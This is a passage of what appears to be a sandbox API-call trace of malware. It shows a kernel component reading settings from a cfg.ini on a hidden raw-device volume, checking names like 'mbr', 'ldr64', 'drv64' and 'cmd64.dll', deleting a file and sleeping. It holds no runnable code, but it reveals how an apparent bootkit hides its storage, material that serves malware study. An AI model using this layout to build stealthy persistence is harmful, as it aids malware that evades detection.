| out: FastMutex=0xfffffa80027d3898) [0123.581] KeLeaveCriticalRegion () [0123.581] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.581] ReleaseMutex (hMutex=0xf0) returned 1 [0123.581] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.581] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.581] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.581] KeEnterCriticalRegion () [0123.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.581] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.581] IdePortDispatch () returned 0x103 [0123.582] KeWaitForMutexObject () returned 0x0 [0123.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.582] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.582] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.582] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.582] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.582] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becf00 [0123.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.582] KeLeaveCriticalRegion () [0123.582] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.582] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.582] KeEnterCriticalRegion () [0123.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.582] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.582] KeLeaveCriticalRegion () [0123.582] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.582] KeEnterCriticalRegion () [0123.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.582] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.582] IdePortDispatch () returned 0x103 [0123.582] KeWaitForMutexObject () returned 0x0 [0123.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.582] KeLeaveCriticalRegion () [0123.582] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.582] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.583] KeEnterCriticalRegion () [0123.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.583] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d8000 [0123.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.583] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.583] IdePortDispatch () returned 0x103 [0123.583] KeWaitForMutexObject () returned 0x0 [0123.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.583] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.583] IdePortDispatch () returned 0x103 [0123.583] KeWaitForMutexObject () returned 0x0 [0123.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.583] KeLeaveCriticalRegion () [0123.583] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.584] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.584] KeEnterCriticalRegion () [0123.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.584] KeLeaveCriticalRegion () [0123.584] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.584] KeEnterCriticalRegion () [0123.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.584] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.584] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.584] KeLeaveCriticalRegion () [0123.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.584] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.584] KeEnterCriticalRegion () [0123.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.584] ExFreePoolWithTag (P=0xfffffa8003becf00, Tag=0x0) [0123.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.584] KeLeaveCriticalRegion () [0123.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.584] ReleaseMutex (hMutex=0xf0) returned 1 [0123.584] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.584] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.584] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.584] KeEnterCriticalRegion () [0123.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.584] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.584] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.584] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.584] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.584] IdePortDispatch () returned 0x103 [0123.585] KeWaitForMutexObject () returned 0x0 [0123.585] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.585] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.585] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.585] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.585] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.585] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becd40 [0123.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.585] KeLeaveCriticalRegion () [0123.585] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.585] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.585] KeEnterCriticalRegion () [0123.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.585] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.585] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.585] KeLeaveCriticalRegion () [0123.585] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.585] KeEnterCriticalRegion () [0123.585] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.585] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.585] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.585] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.585] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.585] IdePortDispatch () returned 0x103 [0123.585] KeWaitForMutexObject () returned 0x0 [0123.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.586] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.586] KeLeaveCriticalRegion () [0123.586] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.586] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.586] KeEnterCriticalRegion () [0123.586] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.586] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d9000 [0123.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.586] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.586] IdePortDispatch () returned 0x103 [0123.586] KeWaitForMutexObject () returned 0x0 [0123.586] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.586] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.586] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.586] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.586] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.586] IdePortDispatch () returned 0x103 [0123.586] KeWaitForMutexObject () returned 0x0 [0123.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.587] KeLeaveCriticalRegion () [0123.587] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.587] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.587] KeEnterCriticalRegion () [0123.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.587] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.587] KeLeaveCriticalRegion () [0123.587] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.587] KeEnterCriticalRegion () [0123.587] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.587] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.587] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.587] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.587] KeLeaveCriticalRegion () [0123.587] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.588] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.588] KeEnterCriticalRegion () [0123.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.588] ExFreePoolWithTag (P=0xfffffa8003becd40, Tag=0x0) [0123.588] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.588] KeLeaveCriticalRegion () [0123.588] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.588] ReleaseMutex (hMutex=0xf0) returned 1 [0123.588] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.588] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.588] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.588] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.588] KeEnterCriticalRegion () [0123.588] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.588] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.588] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.588] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.588] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.588] IdePortDispatch () returned 0x103 [0123.588] KeWaitForMutexObject () returned 0x0 [0123.588] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.588] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.588] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.588] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.588] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.589] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.589] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.589] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.589] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.589] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.589] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.589] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.589] KeLeaveCriticalRegion () [0123.589] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.589] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.589] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.589] KeEnterCriticalRegion () [0123.589] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.589] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.589] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.589] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.589] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.589] IdePortDispatch () returned 0x103 [0123.589] KeWaitForMutexObject () returned 0x0 [0123.589] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.589] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.590] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.590] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.590] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.590] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.590] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.590] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.590] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.590] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.590] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.590] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.590] KeLeaveCriticalRegion () [0123.590] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.590] ReleaseMutex (hMutex=0x100) returned 1 [0123.590] Sleep (dwMilliseconds=0x2bf20) [0123.598] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6cddc5f0, dwHighDateTime=0x1d24fa4)) [0123.598] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.598] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.598] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.598] KeEnterCriticalRegion () [0123.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.598] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.598] IdePortDispatch () returned 0x103 [0123.598] KeWaitForMutexObject () returned 0x0 [0123.598] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.598] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.598] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.598] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.598] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.598] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec770 [0123.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.598] KeLeaveCriticalRegion () [0123.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.599] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.599] KeEnterCriticalRegion () [0123.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.599] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.599] KeLeaveCriticalRegion () [0123.599] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.599] KeEnterCriticalRegion () [0123.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.599] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.599] IdePortDispatch () returned 0x103 [0123.599] KeWaitForMutexObject () returned 0x0 [0123.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.599] KeLeaveCriticalRegion () [0123.599] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.599] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.599] KeEnterCriticalRegion () [0123.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034dc000 [0123.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 